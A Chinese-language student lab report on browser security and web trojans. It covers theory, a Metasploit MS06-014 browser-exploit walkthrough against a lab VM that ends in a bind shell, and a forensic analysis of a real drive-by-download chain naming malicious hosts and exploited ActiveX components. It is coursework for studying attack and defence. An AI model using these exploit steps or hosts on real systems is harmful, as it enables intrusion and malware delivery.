20212811 2021-2022-2 《网络攻防实践》实践十一报告
1.实践基础知识
1)Web浏览器的技术发展与安全威胁
- Web浏览器战争与技术发展
-
浏览器战争
浏览器大战,指不同的网络浏览器之间的市场份额竞争。常用来指以下两组竞争:第一组是20世纪时微软公司的Internet Explorer取代了网景公司,Netscape Navigator主导地位,这场大战甚至引发了美国诉微软案官司。第二组为2003年后Internet Explorer份额遭其他浏览器蚕食,包括Mozilla Firefox,Google Chrome,Safari和Opera -
浏览器技术发展
古典命令行浏览器仅仅实现了简单的HTTP客户端、HTML解析与渲染功能,而在浏览器的商业竞争中,出现了高度注重用户使用感受的图形界面浏览器软件,并逐步提供了图片、音视频等多媒体的支持,逐步进化目前互联网用户所依赖的现代浏览器 -
现代Web浏览器的基本结构与机理
目前的现代Web浏览器要求能够理解和支持HTML和XHTML、CascadingStyleSheets (CSS)、ECMAScript及W3C Document Object Model (DOM)等一系列标准需要支持各种应用层协议的Stream流接收与解析,并维护DOM对象模型结构,通过支持EMCAScript标准构建JavaScript. FlashActionScript等客户端脚本语言的执行环境,以及支持CSS标准控制页面的布局,最终在浏览器终端中将服务器端的各种流媒体对象、应用程序、客户端脚本执行效果进行渲染,展现给终端用户
-
- Web浏览器的安全问题与威胁
- Web浏览器软件的安全困境三要素
复杂性:现代Web浏览器软件由于需要支持HTTP、HTTPS、 FTP等多种类型的应用层协议浏览,符合HTML、XHTML、CSS等一系列的页面标准规范,支持JavaScript、Flash、Java、 SilverLight 等多种客户端执行环境,并满足大量的用户浏览需求,已经变得非常复杂和庞大,这意味着更多的错误和安全缺陷,也就导致了目前浏览器软件中存在着可被渗透攻击所利用的大量安全漏洞。
可扩展性:现代Web浏览器可能是最突出可扩展特性支持的软件类型,目前儿乎所有的现代浏览器软件都支持第三方插件扩展机制,并通过JavaScript等客户端脚本执行环境、沙箱和虚拟机来执行富Internet应用程序。而相对于大型软件厂商所开发的浏览器软件本身而言,三方扩展插件的开发过程更缺乏安全保证,出现安全漏洞的情况更为普遍。此外,浏览器插件一般也不具备自动版本更新的机制,安全漏洞被利用的时间周期较系统软件与浏览器软件本身漏洞要长。
连通性:现代Web浏览器本身就是为用户实现“随时随地浏览互联网”这一目标而存在的,因此浏览器软件始终工作在联网状态,一旦其中存在安全漏洞,就很容易被网络上的威胁源所利用与攻击。 - Web浏览器安全威胁位置
如同Web应用服务端一样,Web浏览魂晶中的每个组件都面对着各种不同类型的安全威胁:
a.针对传输网络的网络协议安全威胁
b.针对Web了浏览器系统的平台安全威胁
c.针对Web浏览器软件及插件程序的渗透攻击威胁
d.针对互联网用户的社会工程学攻击威胁
2)Web浏览端的渗透攻击威胁——网页木马
- Web浏览器软件的安全困境三要素
- 网页木马安全威胁的产生背景
- 网页木马的产生与发展背景
网页木马是从而以网页脚本所孕育和发展出来的,如早期的的浏览器主页劫持、网页炸弹等。而黑客们进一步发掘出在浏览器端执行的恶意网页脚本能够利用客户端软件安全漏洞来获取访问权的机会,在浏览断之如恶意程序或进行其他任意操作,从而发展出网页木马这种较新的网络攻击技术 - web浏览安全威胁类型
网络钓鱼(Phishing):架设钓鱼网站,如知名金融机构及商务网站,发送大量欺骗性垃圾邮件,诱骗因特网用户访问钓鱼网站并以敏感信息登录,最后滥用个人敏感信息
恶意木马与流氓软件下载:主要包括两大问题:软件捆绑安装问题 ,Web浏览时遭遇的软件信任问题
网页木马-浏览器渗透攻击:网页感染已成为国内互联网最重要的恶意代码传播形式不良信息内容
- 网页木马的产生与发展背景
- 网页木马的机理分析
-
网页木马的定性特性
网页木马从本质特性上是利用了现代Web浏览器软件中所支持的客户端脚本执行能力,针对Web浏览端软件安全漏洞实施客户端渗透攻击,从而取得在客户端主机的远程代码执行权限来植入恶意程序。从根本上来说,网页木马是针对Web浏览端软件实施的客户端渗透攻击代码。 -
对网页木马机理的全方位分析与理解
与传统的服务器端渗透攻击可以主动的进行网络扫描与攻击不同,网页木马的攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问网页木马页面。此外在网页木马通过渗透攻击获得远程客户端执行权限后,为了进行进一步的主机控制和敏感信息窃取,一般需要植入一些盗号木马等类型的恶意程序。黑客为了更为高效地实施网页木马这种复杂的攻击场景,建立了一套具有明确的社会职责分工的网页木马攻击技术流程:
a.病毒编写者负责实现网页木马和传统的盗号木马
b.网络骇客出卖网站访问者或攻陷不安全的网站
c.“信封”盗窃者在木马宿主站点上放置网页木马和传统盗号木马,并通过在大量网站中嵌入恶意链接将访问者重定向至网页木马,从而构建网页木马攻击网络
d.受害者在访问挂马网站时,就会自动地链接网页木马并被其功绩,植入传统盗号木马,进而被盗取“信封”和虚拟资产 -
网页挂马机制
为使得能够有终端用户使用可能存在安全漏洞的Web浏览端软件来访问网页木马,攻击者还需要将网页木马挂接到一些拥有客户访问流量的网站页面上
网页挂马四策略:
内嵌HTML标签:使用内嵌HTML标签,将网页木马链接嵌入到网站首页或其他页面中
恶意Script脚本:利用script脚本标签通过外部引用脚本的方式来包含网页木马
内嵌对象链接:利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载
ARP欺骗挂马:在以上三类网站挂马策略基础上,危害更高的策略 -
混淆机制
提高反病毒工程师的分析难度,从而使得网页木马攻击网络更加难以被检测和摧毁.
比较广泛使用的混淆方法:
将代码重新排版,去除缩进、空行、换行、注释等,同时将网页木马中的变量名替换为一组合法的随机字符串,使其失去自我描述的能力,从而干扰阅读分析
通过大小写变换、十六进制编码、escape编码、unicode编码等方法对网页木马进行编码混淆
通过通用或定制的加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数,对密文进行解密,再使用 document.write() 或 eval() 进行动态输出或执行,此类混淆方法例如XXTEA网页加密工具
利用字符串运算、数学运算或特殊函数可以混淆代码,一个典型的例子是通过字符串替换函数将网页木马中的一些字符替换为其他字符构成混淆后代码,然后在运行时首先替换回原先的字符,然后进行动态执行
修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件,甚至将网页木马代码拆分至多个文件等
-
- 网页木马防范措施
提升操作系统与浏览器软件的安全性,如第三方插件自动更新
安装反病毒软件
养成良好的浏览习惯,借助安全评估工具的帮助,避免访问安全性低的网站 - 挂马的方式
- 为了保持网页木马的隐蔽性,网马会选择各种方法隐藏自己,如利用各种标签隐藏自己、代码中使用加密、混淆的技术,目的是降低被发现的可能性
- HTML隐藏标签
- JavaScript代码中引入
- 其他网页技术
- 其他挂马技术
2.实践过程
(1)web浏览器渗透攻击
(1)web浏览器渗透攻击
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
1、选择使用Metasploit中的MS06-014渗透攻击模块
2、选择PAYLOAD为任意远程Shell连接
3、设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本
4、在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL
5、在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令
1、在攻击机Kali中打开msfconsole
2.search MS06-014,查询可供攻击的模块
3、使用漏洞:
use exploit/windows/browser/ie_createobject
4、输入set lhost 192.168.200.3设置攻击机地址
设置参数:set SRVPORT 80 set URIPATH /
5.设置参数,运行exploit,构造出恶意网页木马脚本
set payload windows/shell/bind_tcp
run
6.在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL
然后在靶机中模拟受害者操作,打开http://192.168.200.10:80
6.在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令
7.查看会话列表,发现了靶机同攻击机建立的连接,然后执行sessions -i 1,选择该会话
8.成功实现远程控制了靶机,可对靶机输入命令执行
2.取证分析实践:剖析一个实际的网页木马攻击场景
1.由于题目附带的材料中给出的网址已经失效,无法还原真实的网页木马攻击场景,只能根据材料提供的一些文件来进行分析,首先用记事本打开start.htm,然后分析了一下,发现在该网页嵌入了一个内联框架,指向了一个网页new09.htm,且该内联框架高度宽度为0,不容易被发现
2.指向new09.htm网页使用的是相对路径,说明new09.htm应该是跟start.htm在同一个目录下,于是修改url,获取到new09.htm页面信息,分析,发现其通过内联框架指向了一个页面http://aa.18dd.net/aa/kl.htm,还使用script指向了另一个页面http://js.users.51.la/1299644.js
3.按照实验指导书步骤获取指向的两个网页内容以后打开分析,发现其中一个里面没有什么有用的信息,打开另外一个,发现里面很多信息,似乎被加密过,无法分析出有效信息,于是将整个网页信息复制到FreShow工具的内容框中(这是一个用于js加解密的工具),然后点击解码按钮,在下方的框中生成了解码后的信息,可以简单分析出使用了base64进行编码加密,密码为"script"
4.然后将其中一段复制到FreShow工具的内容框中(这段内容哪里来的没看懂,实验指导书上没写明白),进行解码,得到如下信息,显示有些错乱,经过整理后发现用到的应用程序漏洞有“Adodb.Stream”、“MPS.StormPlayer”、“POWERPLAYER.PowerPlayerCtrl.1”和“BaiduBar.Tool”,分别对应利用了微软数据库访问对象、 暴风影音、PPStream 和百度搜霸的漏洞;最后还有一个下载恶意程序的行为。
5.然后打开材料提供好的1.js进行分析,同样将内容复制到FreShow工具的内容框中进行解码,然后生成信息如下图,该js文件下载了一个exe可执行文件
6.接下来使用同样的方法来分析b.js,但是发现使用FreShow根本无法解码,试了实验指导书上的解码网站,也无法访问,只能根据实验指导书解码的内容进行分析了;解码后的内容里有shellcode,可能是使用了该方式进行攻击。
7.由于要执行的exe文件已经在参考资料中提供,所以直接打开分析,首先使用peid打开bf.exe查看是否加壳,发现没有加壳,并且该程序是使用Delphi开发的
8.然后使用W32Dasm工具进行反编译,查看字符串信息,可以看到,该程序自启动了IE浏览器,并生成一个bat批处理文件,然后是执行了删除操作,删除一些文件,还从恶意网站下载了20个恶意程序到受害者主机上;shell\Auto\command=说明了该程序会自动执行shell指令,启动受害者主机目录下的一个程序;最后还发现了"瑞星卡卡上网安全助手 - IE 防漏墙","允许", "允许执行",这个应该是防止被杀毒软件查杀的设置。
9.参考资料里已经提供了这20个恶意程序,尝试着分析其中一个4.exe,首先使用peid打开,然后发现该程序已经加壳,然后再用超级巡警脱壳机进行脱壳,再用peid打开脱壳后的程序,发现还有一个壳"Morphine 1.2 - 1.3 -> rootkit",根据实验指导书上的解释,这是一个伪装壳,不需要管它,然后我尝试了使用IDA、W32Dasm等进行反汇编,发现提示缺少头文件,无法打开,最后使用的是C32Asm成功打开了脱壳之后的4.exe,然后查看字符串信息,看到关键信息"bat",似乎又执行的是批处理文件,但是具体内容无法分析出来,里面有很多乱码
10.由于无法分析恶意程序内容,只好在先尝试着运行这些恶意程序,下载了360卫士,将恶意程序拖到安全沙箱里运行,然后发现监测出了大量的木马和恶意程序,恶意程序在windows系统文件目录下生成了可执行程序和dll动态链接库文件
实践回答:
1.
2.使用了base64进行编码加密,密码为“script”,直接使用工具FreShow即可解密
3.MS06-014网马、暴风影音网马、PPStream网马、百度搜霸网马
4.解密后发现通过js中的指令从恶意站点下载了可执行文件,下载器即为bb/014.exe,执行该程序将从恶意站点down.18dd.net下载20个恶意程序
5.将执行恶意程序4.exe后在windows系统目录下生成的一个恶意木马提取出来,首先使用peid打开查看发现没有加壳,然后使用反汇编工具打开查看字符串信息,发现一个关键信息send,猜想可能是将受害者主机上的某些信息发送到目标地址,然后下面还有一个url信息,由于字符显示问题,并不能分析出该url指向何处。
Web浏览器遭遇攻击
1.列出在捕获文件中的应用层协议类型, 你认为攻击是针对哪个或哪些协议的?
应用层协议主要有
(1)域名系统(DNS):用于实现网络设备名字到IP地址映射的网络服务。
(2)文件传输协议(FTP):用于实现交互式文件传输功能。
(3)简单邮件传送协议 SMTP):用于实现电子邮箱传送功能。
(4)超文本传输协议(HTTP):用于实现WWW服务。
(5)简单网络管理协议(SNMP):用于管理与监视网络设备。
(6)远程登录协议(Telnet):用于实现远程登录功能。
2.用wirshark打开pcap文件,可以统计一下主要流量为HTTP/TCP协议。应该是针对TCP协议。
3.列出捕获文件中的 IP 地址、主机名和域名。从这些信息中你能猜出攻击场景的环境配置情况吗?
通过统计功能,并在wireshark显示IP地址对应名称,可以选择Name resolution复选框。要查看IP名称解析,进入View | Name Resolution | Enable for Network layer进行激活。攻击场景应该是虚拟机,因为出现了很多mac地址相同的主机。
4.列出捕获文件中的所有网页页面, 其中哪些页面包含了可疑的、可能是恶意的
JavaScript 脚本代码?谁在连接这些页面?请描述恶意网页的攻击目的?
5.打开session_0006.part_01.html,现了如下界面,这应该是一个钓鱼网站,显然是恶意创建的对应的就是Rapidshare.com的高级账号(网站创立于2003年,是世界知名的文件上传下载托管服务网站)
6.根据资料提示再查看session_0032.part_01.html,会提示网站受损。
7.再找到session_0007.part_02.html。
8.请给出攻击者执行攻击动作的概要描述(ip地址10.0.2.15)。
其首先让受害者登陆到构建的假的Rapidshare.com,在里面的js脚本将该内容又被重定向到sploitme.com.cn/fg/show.php?s=3feb5a6b2f, 其中包含一些javascript。最后返回一个404界面。
9.攻击者的目标是哪个操作系统,哪些应用软件,哪些安全漏洞?如何阻止这些攻击?
追踪TCP 流,可以看到这是一个针对Windows XP系统下IE浏览器漏洞。
3、Web浏览器渗透攻击对抗实验
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
1.发现该网页为了防止被杀毒软件查杀,对关键指令做了字符串拼接处理和使用了大量的空白和间隔。
去除无效回车符和空格后,得到了完整的网页信息,然后可以看到,该网页中的JavaScript使用了createObject,GetObject,Wscript.shell,
Adobe.stream等指令。
2.然后可以看到,下图中使用js调用了document.location加载了payload,并且下一行中后面跟了一个可执行文件fHEzfuTlSyw.exe;猜想这个可执行文件应该是以攻击机为服务器,通过网页下载到靶机上的,而且为了躲避杀毒软件,每次加载恶意网页生成的可执行文件的名字是不一样的,同时打开靶机任务管理器查看正在运行的程序,果然发现了在网页源码中出现的那个可执行文件,这个应该是帮助攻击机获取靶机控制权限的恶意程序。
3.整个网页在访问的时候只会在中出现随机的字符串,如何将两个漏洞的攻击合并到一个恶意链接中,通过metasploit利用其它浏览器漏洞再生成一个恶意链接,然后将两个恶意网页放到攻击机apache的www目录。
5.获取靶机的控制权限。
3.学习中遇到的问题及解决
实验一攻击不成功
解决方法:更换payload为正向连接的paylaodwindows/shell/bind_tcp,
攻击成功。
4.实践总结
通过这次学习了web浏览器安全攻防,实验内容很多,分析难度也较大,要踏实的做,不能一蹴而就